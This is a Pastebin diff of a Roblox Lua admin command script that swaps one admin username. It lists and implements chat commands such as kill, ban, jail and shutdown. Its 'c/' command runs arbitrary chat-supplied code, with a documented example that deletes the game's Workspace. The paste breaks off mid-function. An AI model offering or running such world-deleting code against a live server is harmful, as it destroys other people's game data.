View difference between Paste ID: 9SvGA2sd and wiEQ1nP2
SHOW: | | - or go back to the newest paste.
1
--Version 2 1.03 I fixed a problem with the script building proportion of the script, which was broken by an update.
2-
adminlist = {"StefanukSwAg","..."}--Add in the names of the people you want to be able to use the command script here.
2+
adminlist = {"solidgoldbrandon","..."}--Add in the names of the people you want to be able to use the command script here.
3
--Please keep my name in there. ;)
4
bannedlist = { "FriendlyEND","noob"}--If you want someone not to be able to enter your place, put thier name in here.
5
6
--[[
7
The original model of the command script is at http://www.roblox.com/Item.aspx?ID=5277383 if you get the command script anywhere else it could be infected.
8
-Person299
9
10
The commands are,
11
12
commands
13
Shows a list of all the commands
14
15
fix
16
If the command script breaks for you, say this to fix it
17
18
kill/Person299
19
Kills Person299
20
21
loopkill/Person299
22
Repeatedly kills Person299 when he respawns
23
24
unloopkill/Person299
25
Undos loopkill/
26
27
heal/Person299
28
Returns Person299 to full health
29
30
damage/Person299/50
31
Makes Person299's character take 50 damage
32
33
health/Person299/999999
34
Makes Person299's MaxHealth and Health 999999
35
36
kick/Person299
37
Removes Person299 from the game, cannot be used by admin/ed people
38
39
ban/Person299
40
Removes Person299 from the game and keeps him from reenterring, cannot be used by admin/ed people
41
42
bannedlist
43
Shows a list of everyone banned
44
45
unban/Person299
46
Unbans Person299
47
48
explode/Person299
49
Explodes Person299's character
50
51
rocket/Person299
52
Straps a rocket onto Person299's back
53
54
removetools/Person299
55
Removes all of Person299's tools.
56
57
givetools/Person299
58
Gives Person299 all the tools in StarterPack
59
60
givebtools/Person299
61
Gives Person299 the building tools
62
63
sit/Person299
64
Makes Person299 sit
65
66
part/4/1/2
67
Makes a part with the given dimensions appear over your character
68
69
respawn/Person299
70
Makes Person299's character respawn
71
72
jail/Person299
73
Makes a lil jail cell around Person299's character
74
75
unjail/Person299
76
Undos jail/
77
78
punish/Person299
79
Puts Person299's character in game.Lighting
80
81
unpunish/Person299
82
Undos punish/
83
84
merge/Person299/Farvei
85
Makes Person299 control Farvei's character
86
87
teleport/Person299/nccvoyager
88
Teleports Person299's character to nccvoyager's character
89
90
control/Person299
91
Makes you control Person299's character
92
93
change/Person299/Money/999999
94
Makes the Money value in Person299's leaderstats 999999
95
96
give/Person299/Tool
97
Give's Person299 a tool, the toolname can be abbreviated
98
99
tools
100
Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting
101
102
time/15.30
103
Makes game.Lighting.TimeOfDay 15:30
104
105
ambient/255/0/0
106
Makes game.Lighting.Ambient 255,0,0
107
108
maxplayers/20
109
Makes game.Players.MaxPlayers 20
110
111
nograv/Person299
112
Makes Person299 almost weightless
113
114
antigrav/Person299
115
Gives Person299 antigravity properties
116
117
grav/Person299
118
Returns Person299's gravity to normal
119
120
highgrav/Person299
121
Makes Person299 heavier
122
123
setgrav/Person299/-196
124
Sets Person299's gravity
125
126
trip/Person299
127
Makes Person299's character trip
128
129
walkspeed/Person299/99
130
Makes Person299's character's humanoid's WalkSpeed 99, 16 is average
131
132
invisible/Person299
133
Makes Person299's character invisible
134
135
visible/Person299
136
Undos invisible/
137
138
freeze/Person299
139
Makes Person299's character unable to move
140
141
thaw/Person299
142
Undos freeze/
143
144
unlock/Person299
145
Makes Person299's character unlocked
146
147
lock/Person299
148
Makes Person299's character locked
149
150
ff/Person299
151
Gives Person299's character a ForceField
152
153
unff/Person299
154
Undos ff/
155
156
sparkles/Person299
157
Makes Person299's character sparkly
158
159
unsparkles/Person299
160
Undos sparkles/
161
162
shield/Person299
163
Makes a destructive shield thingy appear around Person299
164
165
unshield/Person299
166
Undos shield/
167
168
god/Person299
169
Makes Person299 godish
170
171
ungod/Person299
172
Undos god/
173
174
zombify/Person299
175
Makes Person299 an infecting zombie
176
177
admin/Person299
178
Makes Person299 able to use the command script, cannot be used by admin/ed people
179
180
adminlist
181
Shows a list of everyone in the adminlist
182
183
unadmin/Person299
184
Undos admin/, cannot be used by admin/ed people
185
186
shutdown
187
Shuts the server down, cannot be used by admin/ed people
188
189
m/Fallout 2 is one of the best games ever made
190
Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds
191
192
h/i like pie
193
Makes a hint appear on the screen saying "i like pie" for 2 seconds
194
195
c/ game.Workspace:remove()
196
Makes a script which source is what's after c/
197
198
clear
199
Removes all scripts created by c/ and removes all jails.
200
201
Capitalisation doesnt matter, and name input can be abbreviated.
202
Just about any name input can be replaced with multiple names seperated by commas, me, all, others, guests, admins, nonadmins, random, or team teamname.
203
--]]
204
205
texture = ""
206
namelist = { }
207
variablelist = { }
208
flist = { }
209
210
local source = script:FindFirstChild("sourcing")
211
if source ~= nil then
212
sbbu = script.sourcing:clone()
213
sbbu.Disabled = false
214
else
215
print("sourcing script doesnt exist, your command script may malfunction")
216
end
217
218
219
tools = Instance.new("Model")
220
c = game.Lighting:GetChildren()
221
for i=1,#c do
222
if c[i].className == "Tool" then
223
c[i]:clone().Parent = tools
224
end
225
if c[i].className == "HopperBin" then
226
c[i]:clone().Parent = tools
227
end end
228
229
function findplayer(name,speaker)
230
if string.lower(name) == "all" then
231
local chars = { }
232
local c = game.Players:GetChildren()
233
for i =1,#c do
234
if c[i].className == "Player" then
235
table.insert(chars,c[i])
236
end end
237
return chars
238
elseif string.sub(string.lower(name),1,9) == "nonadmins" then
239
local nnum = 0
240
local chars = { }
241
local c = game.Players:GetChildren()
242
for i=1,#c do
243
local isadmin = false
244
for i2 =1,#namelist do
245
if namelist[i2] == c[i].Name then
246
isadmin = true
247
end end 
248
if isadmin == false then
249
nnum = nnum + 1
250
table.insert(chars,c[i])
251
end end
252
if nnum == 0 then
253
return 0
254
else
255
return chars
256
end
257
elseif string.sub(string.lower(name),1,6) == "admins" then
258
local anum = 0
259
local chars = { }
260
local c = game.Players:GetChildren()
261
for i=1,#c do
262
for i2 =1,#namelist do
263
if namelist[i2] == c[i].Name then
264
anum = anum + 1
265
table.insert(chars,c[i])
266
end end end
267
if anum == 0 then
268
return 0
269
else
270
return chars
271
end
272
elseif string.sub(string.lower(name),1,6) == "random" then
273
while true do
274
local c = game.Players:GetChildren()
275
local r = math.random(1,#c)
276
if c[r].className == "Player" then
277
return { c[r] }
278
end end
279
elseif string.sub(string.lower(name),1,6) == "guests" then
280
local gnum = 0
281
local chars = { }
282
local c = game.Players:GetChildren()
283
for i=1,#c do
284
if string.sub(c[i].Name,1,5) == "Guest" then
285
gnum = gnum + 1
286
table.insert(chars,c[i])
287
end end
288
if gnum == 0 then
289
return 0
290
else
291
return chars
292
end
293
elseif string.sub(string.lower(name),1,5) == "team " then
294
local theteam = nil
295
local tnum = 0
296
if game.Teams ~= nil then
297
local c = game.Teams:GetChildren()
298
for i =1,#c do
299
if c[i].className == "Team" then
300
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
301
theteam = c[i]
302
tnum = tnum + 1
303
end end end
304
if tnum == 1 then
305
local chars = { }
306
local c = game.Players:GetChildren()
307
for i =1,#c do
308
if c[i].className == "Player" then
309
if c[i].TeamColor == theteam.TeamColor then
310
table.insert(chars,c[i])
311
end end end
312
return chars
313
end end
314
return 0
315
elseif string.lower(name) == "me" then
316
local person299 = { speaker }
317
return person299
318
elseif string.lower(name) == "others" then
319
local chars = { }
320
local c = game.Players:GetChildren()
321
for i =1,#c do
322
if c[i].className == "Player" then
323
if c[i] ~= speaker then
324
table.insert(chars,c[i])
325
end end end
326
return chars
327
else
328
local chars = { }
329
local commalist = { }
330
local ssn = 0
331
local lownum = 1
332
local highestnum = 1
333
local foundone = false
334
while true do
335
ssn = ssn + 1
336
if string.sub(name,ssn,ssn) == "" then
337
table.insert(commalist,lownum)
338
table.insert(commalist,ssn - 1)
339
highestnum = ssn - 1
340
break
341
end
342
if string.sub(name,ssn,ssn) == "," then
343
foundone = true
344
table.insert(commalist,lownum)
345
table.insert(commalist,ssn)
346
lownum = ssn + 1
347
end end
348
if foundone == true then
349
for ack=1,#commalist,2 do
350
local cnum = 0
351
local char = nil
352
local c = game.Players:GetChildren()
353
for i =1,#c do
354
if c[i].className == "Player" then
355
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
356
char = c[i]
357
cnum = cnum + 1
358
end end end
359
if cnum == 1 then
360
table.insert(chars,char)
361
end end
362
if #chars ~= 0 then
363
return chars
364
else
365
return 0
366
end
367
else
368
local cnum = 0
369
local char = nil
370
local c = game.Players:GetChildren()
371
for i =1,#c do
372
if c[i].className == "Player" then
373
if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
374
char = {c[i]}
375
cnum = cnum + 1
376
end end end
377
if cnum == 1 then
378
return char 
379
elseif cnum == 0 then
380
text("That name is not found.",1,"Message",speaker)
381
return 0
382
elseif cnum > 1 then
383
text("That name is ambiguous.",1,"Message",speaker)
384
return 0
385
end end end end -- I really like the way the ends look when they're all on the same line better, dont you?
386
387
function createscript(source,par)
388
local a = sbbu:clone()
389
local context = Instance.new("StringValue")
390
context.Name = "Context"
391
context.Value = source
392
context.Parent = a
393
while context.Value ~= source do wait() end
394
a.Parent = par
395
local b = Instance.new("IntValue")
396
b.Name = "Is A Created Script"
397
b.Parent = a
398
end
399
400
function text(message,duration,type,object)
401
local m = Instance.new(type)
402
m.Text = message
403
m.Parent = object
404
wait(duration)
405
if m.Parent ~= nil then
406
m:remove()
407
end end
408
409
function foc(msg,speaker)
410
if string.lower(msg) == "fix" then
411
for i =1,#namelist do
412
if namelist[i] == speaker.Name then
413
variablelist[i]:disconnect()
414
table.remove(variablelist,i)
415
table.remove(namelist,i)
416
table.remove(flist,i)
417
end end
418
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
419
table.insert(namelist,speaker.Name)
420
table.insert(variablelist,tfv)
421
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
422
table.insert(flist,tfv)
423
end end
424
425
function PERSON299(name)
426
for i =1,#adminlist do
427
if adminlist[i] == name then
428
return true
429
end end
430
return false
431
end
432
433
function oc(msg,speaker)
434
435
if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
436
local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
437
if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
438
for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
439
if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
440
local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
441
if human ~= nil then--This part makes sure the line above found a humanoid
442
human.Health = 0--This part makes the humanoid's health 0
443
end end end end end--This line contains the ends for all the if statements and the for loop
444
445
if string.sub(string.lower(msg),1,2) == "m/" then
446
text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace)
447
end
448
449
if string.sub(string.lower(msg),1,2) == "h/" then
450
text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace)
451
end
452
453
if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable?
454
createscript(string.sub(msg,3),game.Workspace)
455
end
456
457
local msg = string.lower(msg)
458
459
if string.sub(msg,1,5) == "give/" then
460
local danumber1 = nil
461
for i = 6,100 do
462
if string.sub(msg,i,i) == "/" then
463
danumber1 = i
464
break
465
elseif string.sub(msg,i,i) == "" then
466
break
467
end end
468
if danumber1 == nil then return end
469
local it = nil
470
local all = true
471
if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
472
all = false
473
local itnum = 0
474
local c = tools:GetChildren()
475
for i2 = 1,#c do
476
if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then 
477
it = c[i2]
478
itnum = itnum + 1
479
end end
480
if itnum ~= 1 then return end
481
else
482
all = true
483
end
484
local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
485
if player ~= 0 then
486
for i = 1,#player do
487
local bp = player[i]:FindFirstChild("Backpack")
488
if bp ~= nil then
489
if all == false then
490
it:clone().Parent = bp
491
else
492
local c = tools:GetChildren()
493
for i2 = 1,#c do
494
c[i2]:clone().Parent = bp
495
end end end end end end
496
497
--Bored...
498
499
if string.sub(msg,1,7) == "change/" then
500
local danumber1 = nil
501
local danumber2 = nil
502
for i = 8,100 do
503
if string.sub(msg,i,i) == "/" then
504
danumber1 = i
505
break
506
elseif string.sub(msg,i,i) == "" then
507
break
508
end end
509
if danumber1 == nil then return end
510
for i =danumber1 + 1,danumber1 + 100 do
511
if string.sub(msg,i,i) == "/" then
512
danumber2 = i
513
break
514
elseif string.sub(msg,i,i) == "" then
515
break
516
end end
517
if danumber2 == nil then return end
518
local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
519
if player ~= 0 then
520
for i = 1,#player do
521
local ls = player[i]:FindFirstChild("leaderstats")
522
if ls ~= nil then
523
local it = nil
524
local itnum = 0
525
local c = ls:GetChildren()
526
for i2 = 1,#c do
527
if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then
528
it = c[i2]
529
itnum = itnum + 1
530
end end
531
if itnum == 1 then
532
it.Value = string.sub(msg,danumber2 + 1)
533
end end end end end
534
535
if string.sub(msg,1,6) == "ungod/" then
536
local player = findplayer(string.sub(msg,7),speaker)
537
if player ~= 0 then
538
for i = 1,#player do
539
if player[i].Character ~= nil then
540
local isgod = false
541
local c = player[i].Character:GetChildren()
542
for i=1,#c do
543
if c[i].className == "Script" then
544
if c[i]:FindFirstChild("Context") then
545
if string.sub(c[i].Context.Value,1,41) == "script.Parent.Humanoid.MaxHealth = 999999" then
546
c[i]:remove()
547
isgod = true
548
end end end end
549
if isgod == true then
550
local c = player[i].Character:GetChildren()
551
for i=1,#c do
552
if c[i].className == "Part" then
553
c[i].Reflectance = 0
554
end
555
if c[i].className == "Humanoid" then
556
c[i].MaxHealth = 100
557
c[i].Health = 100
558
end 
559
if c[i].Name == "God FF" then
560
c[i]:remove()
561
end end end end end end end
562
563
if string.sub(msg,1,4) == "god/" then
564
local player = findplayer(string.sub(msg,5),speaker)
565
if player ~= 0 then
566
for i = 1,#player do
567
if player[i].Character ~= nil then
568
if player[i].Character:FindFirstChild("God FF") == nil then
569
createscript([[script.Parent.Humanoid.MaxHealth = 999999
570
script.Parent.Humanoid.Health = 999999
571
ff = Instance.new("ForceField")
572
ff.Name = "God FF"
573
ff.Parent = script.Parent
574
function ot(hit)
575
if hit.Parent ~= script.Parent then
576
h = hit.Parent:FindFirstChild("Humanoid")
577
if h ~= nil then
578
h.Health = 0
579
end
580
h = hit.Parent:FindFirstChild("Zombie")
581
if h ~= nil then
582
h.Health = 0
583
end end end
584
c = script.Parent:GetChildren()
585
for i=1,#c do
586
if c[i].className == "Part" then
587
c[i].Touched:connect(ot)
588
c[i].Reflectance = 1
589
end end]],player[i].Character)
590
end end end end end
591
592
if string.sub(msg,1,7) == "punish/" then
593
local player = findplayer(string.sub(msg,8),speaker)
594
if player ~= 0 then
595
for i = 1,#player do
596
if player[i].Character ~= nil then
597
player[i].Character.Parent = game.Lighting
598
end end end end
599
600
if string.sub(msg,1,9) == "unpunish/" then
601
local player = findplayer(string.sub(msg,10),speaker)
602
if player ~= 0 then
603
for i = 1,#player do
604
if player[i].Character ~= nil then
605
player[i].Character.Parent = game.Workspace
606
player[i].Character:MakeJoints()
607
end end end end
608
609
if string.sub(msg,1,3) == "ff/" then
610
local player = findplayer(string.sub(msg,4),speaker)
611
if player ~= 0 then
612
for i = 1,#player do
613
if player[i].Character ~= nil then
614
local ff = Instance.new("ForceField")
615
ff.Parent = player[i].Character
616
end end end end
617
618
if string.sub(msg,1,5) == "unff/" then
619
local player = findplayer(string.sub(msg,6),speaker)
620
if player ~= 0 then
621
for i = 1,#player do
622
if player[i].Character ~= nil then
623
local c = player[i].Character:GetChildren()
624
for i2 = 1,#c do
625
if c[i2].className == "ForceField" then
626
c[i2]:remove()
627
end end end end end end
628
629
if string.sub(msg,1,9) == "sparkles/" then
630
local player = findplayer(string.sub(msg,10),speaker)
631
if player ~= 0 then
632
for i = 1,#player do
633
if player[i].Character ~= nil then
634
local torso = player[i].Character:FindFirstChild("Torso")
635
if torso ~= nil then
636
local sparkles = Instance.new("Sparkles")
637
sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
638
sparkles.Parent = torso
639
end end end end end
640
641
if string.sub(msg,1,11) == "unsparkles/" then
642
local player = findplayer(string.sub(msg,12),speaker)
643
if player ~= 0 then
644
for i = 1,#player do
645
if player[i].Character ~= nil then
646
local torso = player[i].Character:FindFirstChild("Torso")
647
if torso ~= nil then
648
local c = torso:GetChildren()
649
for i2 = 1,#c do
650
if c[i2].className == "Sparkles" then
651
c[i2]:remove()
652
end end end end end end end
653
654
if string.sub(msg,1,6) == "admin/" then
655
local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
656
if imgettingtiredofmakingthisstupidscript == true then
657
local player = findplayer(string.sub(msg,7),speaker)
658
if player ~= 0 then
659
for i = 1,#player do
660
for i2 =1,#namelist do
661
if namelist[i2] == player[i].Name then
662
variablelist[i2]:disconnect()
663
flist[i2]:disconnect()
664
table.remove(variablelist,i2)
665
table.remove(flist,i2)
666
table.remove(namelist,i2)
667
end end
668
local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
669
table.insert(namelist,player[i].Name)
670
table.insert(variablelist,tfv)
671
local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
672
table.insert(flist,tfv)
673
end end end end
674
675
if string.sub(msg,1,8) == "unadmin/" then
676
local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
677
if imgettingtiredofmakingthisstupidscript == true then
678
local player = findplayer(string.sub(msg,9),speaker)
679
if player ~= 0 then
680
for i = 1,#player do
681
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
682
if imgettingtiredofmakingthisstupidscript == false then
683
for i2 =1,#namelist do
684
if namelist[i2] == player[i].Name then
685
variablelist[i2]:disconnect()
686
table.remove(variablelist,i2)
687
flist[i2]:disconnect()
688
table.remove(flist,i2)
689
table.remove(namelist,i2)
690
end end end end end end end
691
692
if string.sub(msg,1,5) == "heal/" then
693
local player = findplayer(string.sub(msg,6),speaker)
694
if player ~= 0 then
695
for i = 1,#player do
696
if player[i].Character ~= nil then
697
local human = player[i].Character:FindFirstChild("Humanoid")
698
if human ~= nil then
699
human.Health = human.MaxHealth
700
end end end end end
701
702
if string.sub(msg,1,4) == "sit/" then
703
local player = findplayer(string.sub(msg,5),speaker)
704
if player ~= 0 then
705
for i = 1,#player do
706
if player[i].Character ~= nil then
707
local human = player[i].Character:FindFirstChild("Humanoid")
708
if human ~= nil then
709
human.Sit = true
710
end end end end end
711
712
if string.sub(msg,1,5) == "jump/" then
713
local player = findplayer(string.sub(msg,6),speaker)
714
if player ~= 0 then
715
for i = 1,#player do
716
if player[i].Character ~= nil then
717
local human = player[i].Character:FindFirstChild("Humanoid")
718
if human ~= nil then
719
human.Jump = true
720
end end end end end
721
722
if string.sub(msg,1,6) == "stand/" then
723
local player = findplayer(string.sub(msg,7),speaker)
724
if player ~= 0 then
725
for i = 1,#player do
726
if player[i].Character ~= nil then
727
local human = player[i].Character:FindFirstChild("Humanoid")
728
if human ~= nil then
729
human.Sit = false
730
end end end end end
731
732
if string.sub(msg,1,5) == "jail/" then
733
local player = findplayer(string.sub(msg,6),speaker)
734
if player ~= 0 then
735
for i = 1,#player do
736
if player[i].Character ~= nil then
737
local torso = player[i].Character:FindFirstChild("Torso")
738
if torso ~= nil then
739
local ack = Instance.new("Model")
740
ack.Name = "Jail" .. player[i].Name
741
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack 
742
ack.Parent = game.Workspace
743
ack:MoveTo(torso.Position)
744
end end end end end
745
746
if string.sub(msg,1,7) == "unjail/" then
747
local player = findplayer(string.sub(msg,8),speaker)
748
if player ~= 0 then
749
for i = 1,#player do
750
local c = game.Workspace:GetChildren()
751
for i2 =1,#c do
752
if string.sub(c[i2].Name,1,4) == "Jail" then
753
if string.sub(c[i2].Name,5) == player[i].Name then
754
c[i2]:remove()
755
end end end end end end
756
757
if string.sub(msg,1,12) == "removetools/" then
758
local player = findplayer(string.sub(msg,13),speaker)
759
if player ~= 0 then
760
for i = 1,#player do
761
local c = player[i].Backpack:GetChildren()
762
for i =1,#c do
763
c[i]:remove()
764
end end end end
765
766
if string.sub(msg,1,10) == "givetools/" then
767
local player = findplayer(string.sub(msg,11),speaker)
768
if player ~= 0 then
769
for i = 1,#player do
770
local c = game.StarterPack:GetChildren()
771
for i =1,#c do
772
c[i]:clone().Parent = player[i].Backpack
773
end end end end
774
775
if string.sub(msg,1,11) == "givebtools/" then
776
local player = findplayer(string.sub(msg,12),speaker)
777
if player ~= 0 then
778
for i = 1,#player do
779
local a = Instance.new("HopperBin")
780
a.BinType = "GameTool"
781
a.Parent = player[i].Backpack
782
local a = Instance.new("HopperBin")
783
a.BinType = "Clone"
784
a.Parent = player[i].Backpack
785
local a = Instance.new("HopperBin")
786
a.BinType = "Hammer"
787
a.Parent = player[i].Backpack
788
end end end 
789
790
if string.sub(msg,1,9) == "unshield/" then
791
local player = findplayer(string.sub(msg,10),speaker)
792
if player ~= 0 then
793
for i = 1,#player do
794
if player[i].Character ~= nil then
795
local shield = player[i].Character:FindFirstChild("Weird Ball Thingy")
796
if shield ~= nil then
797
shield:remove()
798
end end end end end
799
800
if string.sub(msg,1,7) == "shield/" then
801
local player = findplayer(string.sub(msg,8),speaker)
802
if player ~= 0 then
803
for i = 1,#player do
804
if player[i].Character ~= nil then
805
local torso = player[i].Character:FindFirstChild("Torso")
806
if torso ~= nil then
807
if player[i].Character:FindFirstChild("Weird Ball Thingy") == nil then
808
local ball = Instance.new("Part")
809
ball.Size = Vector3.new(10,10,10)
810
ball.BrickColor = BrickColor.new(1)
811
ball.Transparency = 0.5
812
ball.CFrame = torso.CFrame
813
ball.TopSurface = "Smooth"
814
ball.BottomSurface = "Smooth"
815
ball.CanCollide = false
816
ball.Name = "Weird Ball Thingy"
817
ball.Reflectance = 0.2
818
local sm = Instance.new("SpecialMesh")
819
sm.MeshType = "Sphere"
820
sm.Parent = ball
821
ball.Parent = player[i].Character
822
createscript([[ 
823
function ot(hit) 
824
if hit.Parent ~= nil then 
825
if hit.Parent ~= script.Parent.Parent then 
826
if hit.Anchored == false then
827
hit:BreakJoints()
828
local pos = script.Parent.CFrame * (Vector3.new(0, 1.4, 0) * script.Parent.Size)
829
hit.Velocity = ((hit.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 150 + hit.Velocity	
830
hit.RotVelocity = hit.RotVelocity + Vector3.new(hit.Position.z - pos.z, 0, pos.x - hit.Position.x).unit * 40
831
end end end end
832
script.Parent.Touched:connect(ot) ]], ball)
833
local bf = Instance.new("BodyForce")
834
bf.force = Vector3.new(0,5e+004,0)
835
bf.Parent = ball
836
local w = Instance.new("Weld")
837
w.Part1 = torso
838
w.Part0 = ball
839
ball.Shape = 0
840
w.Parent = torso
841
end end end end end end
842
843
if string.sub(msg,1,11) == "unloopkill/" then
844
local player = findplayer(string.sub(msg,12),speaker)
845
if player ~= 0 then
846
for i = 1,#player do
847
local c = game.Workspace:GetChildren()
848
for i2 =1,#c do
849
local it = c[i2]:FindFirstChild("elplayerioloopkillioperson299io")
850
if it ~= nil then
851
if it.Value == player[i] then
852
c[i2]:remove()
853
end end end end end end
854
855
if string.sub(msg,1,9) == "loopkill/" then
856
local player = findplayer(string.sub(msg,10),speaker)
857
if player ~= 0 then
858
for i = 1,#player do
859
local s = Instance.new("Script")
860
createscript( [[name = "]] ..  player[i].Name .. [[" 
861
ov = Instance.new("ObjectValue")
862
ov.Value = game.Players:FindFirstChild(name)
863
ov.Name = "elplayerioloopkillioperson299io"
864
ov.Parent = script
865
player = ov.Value
866
function oa(object)
867
local elplayer = game.Players:playerFromCharacter(object)
868
if elplayer ~= nil then
869
if elplayer == player then
870
local humanoid = object:FindFirstChild("Humanoid")
871
if humanoid ~= nil then
872
humanoid.Health = 0 
873
end end end end
874
game.Workspace.ChildAdded:connect(oa)
875
]],game.Workspace)
876
if player[i].Character ~= nil then
877
local human = player[i].Character:FindFirstChild("Humanoid")
878
if human ~= nil then
879
human.Health = 0
880
end end end end end
881
882
if string.lower(msg) == "shutdown" then
883
local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
884
if imgettingtiredofmakingthisstupidscript == true then
885
game.NetworkServer:remove()
886
end end
887
888
if string.sub(msg,1,5) == "time/" then
889
game.Lighting.TimeOfDay = string.sub(msg,6)
890
end
891
892
if msg == "commands" then
893
local text = string.rep(" ",40)
894
